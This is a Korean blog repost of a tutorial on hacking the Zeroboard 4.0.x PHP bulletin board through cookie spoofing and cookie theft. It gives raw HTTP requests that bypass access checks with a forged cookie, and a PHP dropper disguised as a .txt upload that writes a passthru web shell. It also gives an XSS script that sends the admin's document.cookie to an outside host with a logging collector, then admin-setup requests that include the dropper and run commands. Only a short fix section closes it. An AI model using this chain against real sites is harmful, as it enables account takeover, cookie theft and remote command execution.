81.웹취약점&해결방안2009. 10. 21. 11:39
반응형
쿠키해킹 개념잡기    
이번 장에서 다룰 주제는 Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
있게끔 Cookie 가 사용될 수도 있다.

여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
버전에는 Patch 가 되었다.

zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.

문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
하기 때문이다.

문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.

1 function member_info()
2 {
3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
6
7 // 우선 쿠키가 존재할때;;
8 if($cookie_userid&&$cookie_password)
9 {
10 // 접속 테이블에도 있는지를 검사;;
11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
12 user_id='$cookie_userid'"));
13 // 접속테이블에도있으면 값을 갖고 옴;;
14 if($check[0])
15 {
16 //다시 쿠키를 구움;;
17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
18 setcookie("zetyxboard_password",$cookie_password,0,"/");
19 mysql_query("update $now_table set logtime='".time()."' where
20 user_id='$cookie_userid'");
21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
22 user_id='$cookie_userid' and password='$cookie_password'"));
23 }
24 else
25 {
26 setcookie("zetyxboard_userid","",0,"/");
27 setcookie("zetyxboard_password","",0,"/");
28 $member[level]=10;
29 }
30 }
31 else $member[level]=10;
32 return $member;
33 }

이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
함수이다.

첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
설정하였다.

HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
변수이다.

zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
페이지를 통해서 login 을 할때 설정이 된다.

cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.

1 /////////////////////////////////////////////////////////////////////////
2 // 로그인 시키는 부분
3 /////////////////////////////////////////////////////////////////////////
4 function check_login($user_id,$password)
5 {
6 global $connect, $member_table, $now_table, $id;
7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
8 user_id='$user_id' and password=password('$password')"));
9 if($check[no])
10 {
11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
12 setcookie("zetyxboard_userid",$user_id,0,"/");
13 setcookie("zetyxboard_password",$password[0],0,"/");
14
15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
16 where user_id='$user_id'"));
17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
18 where user_id='$user_id'");
19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
20 values ('$user_id','$check[group_no]','".time()."')");
21
22 return 1;
23 }
24 else Error("로그인을 실패하였습니다.");
25 }

7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.

그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
됩니다. 그렇게 되면 login 이 안된 상태가 된다.)

다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.

하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
올바른 사용자가 될 수 있다.

여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
(접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
_table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
같은 데이터는 없기 때문이다.

member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.

먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
하는지 보면

zboard.php

1 if($setup[grant_list]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");

이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
된다.
(zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
의미한다.)

앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
그러면 조건식은 이렇게 될 것이다.

if($setup[grant_list]<0&&!$is_admin)

어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
할 수 있게 된다.

만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
통과하고 게시판을 읽을 수 있는지 알아보자.

1 telnet targetip 80
2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

결과 :

secret 게시판

15 번 승진님 안녕하세요................ 방문객 2005/06/26
14 번 여기 좋군요.... 나그네 2004/06/26
13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
12 번 저는 말이에요.. 해커지망생 2002/06/26
..........
..........

1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
password 는 아무 값이나 넣어줘도 된다.

이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.

view.php

1 if($setup[grant_view]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");

view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
no 는 해당 게시판의 글 번호를 뜻한다.

위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
통과할 수 있을 것다.

그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.

1 telnet targetip 80
2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

결과 :

444 번 글

이름 : 이승진

제목 : 전 이승진이랑께롱~
본문 : 케케케~.. 음.. 할말이 없군..

2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.

주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
안된다.

게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
빈 값이 들어가는 것을 이용하여 통과할 수 있다.

가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
나오게 된다.

trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.

trace.php 소스 설명 공격 설명

1 $member=member_info();
2 if($member[is_admin]>1||$member[level]>1)
3 Error("최고 관리자만이 사용할수 있습니다");

1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
한다.

trace.php 의 실제 이용방법을 알아보자.

1 telnet targetip 80
2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;

결과 :

test1 게시판

[kekek] test (2001-12-05 21:40:04 / beist-ip)
[kekek] tet (2001-12-05 21:42:25 / beist-ip)
[kekek] asdf (2001-12-05 21:44:40 / beist-ip)
[kekek] asdf (2001-12-05 21:46:23 / beist-ip)
[kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)

2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
전하고 이름에 이승진을 넣은 것이다.

keykind 의 종류는 다음과 같다.

keykind[0]=name
keykind[1]=email
keykind[2]=ip
keykind[3]=subject
keykind[4]=memo

위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net
이라고 적으면 된다.

하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?

이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
한 파일을 뿌려주는 것이다.)

먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.

<?
system("echo -n " <? passthru($" > imnotj.php");
system("echo -n "cmd); ?>" >> imnotj.php");

echo "<font size=5>keke";
?>

<? passthru($cmd); ?>

이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.

자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.

만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
로는 /home/beist/public_html 정도가 나올 것이다.)

그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
파일이 생성될 것이다.

그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
가능성도 희박한 방법이다. 암호가 쉽지 않은한)

그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.

어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.

자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..

javascript 로 쿠키를 빼오는 스크립트

-----------------------------------------------------------------------------

1 <script language=javascript>
2 window.open("http://beist.org/test.php?cook="+document.cookie);
3 </script>
4 HELLO ADMIN!

-----------------------------------------------------------------------------

1 번째 라인은 javascript 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
http://beist.org/test.php 의 스크립트를 웹브라우저의 document.cookie 를 인수로
여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.

sample CGI script

echo.php

<? echo "hello $insu"; ?>

위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
에서는

hello beist

라는 문자열을 되돌려준다.

쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
현재 웹브라우저의 cookie 값이 담겨 있는 document.cookie 를 지정하여 주었다.
zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.

zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

(zetyxboard_password 의 값은 임의로 설정한 값이다.)

이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
서버에 저장하는 방법등을 사용해야 한다.

test.php

<?
$fp=fopen("/tmp/zerohack", "a++");
fputs(" 제로보드 쿠키값 $cookn");
?>

간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
$cook 을 집어넣는다.

넘어온 쿠키값이 만약

zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

라고 하면 /tmp/zerohack.txt 에는

제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

이 담기게 될것이다.

이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
방법을 알아보자.

여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
(보통 웹서버는 80 번 포트를 쓴다.)

1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

어쩌고.. 저쩌고..
.................
.................

(위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)

설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
쿠키로 보내겠다는 의미다.

그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.

위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
해야하는지 알아보자.

1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
header=<div%20align=center>&footer=</div> HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
파일이 생성이 될 것이다.

이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.

ex)

http://targetip/zboard/data/imnotj.php?cmd=whoami
결과 = nobody

이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
공격 방법이다.

해결책을 알아보자.

쿠키 스니핑

먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.

거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 < 문자로
치환시키는 방법이 좋다.

eregi_replace("<", "<", $comment);

이런 식으로 $comment 의 내용중에 < 가 존재한다면 < 로 바꾸게 끔 만들어
주었다.

쿠키 스푸핑

Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
경우도 대비해야 할 것이다.

필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
하겠다.

위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
table 의 구조를 약간 변형하여 IP 도 담는 것이다.

예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
로 체크를 하기 때문에 피할 수 없게 된다.

여기서는 간단하게 소스를 만들어보겠다.

$userip=$REMOTE_ADDR;
$check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
user_id='$cookie_userid' and userip='$userip'"));

하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.

그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
수고를 하게 할 수 있다.

잘못된 알고리즘

여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
다음과 같이 하자.

$member=mysql_fetch_array(mysql_query("select * from $member_table where
user_id='$cookie_userid' and password='$cookie_password'"));
if(!$member)
{
echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
exit;
}

Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.

출처 : http://ttongfly.net/zbxe/?document_srl=42664&mid=webhack&listStyle=&cpage=
Posted by 1010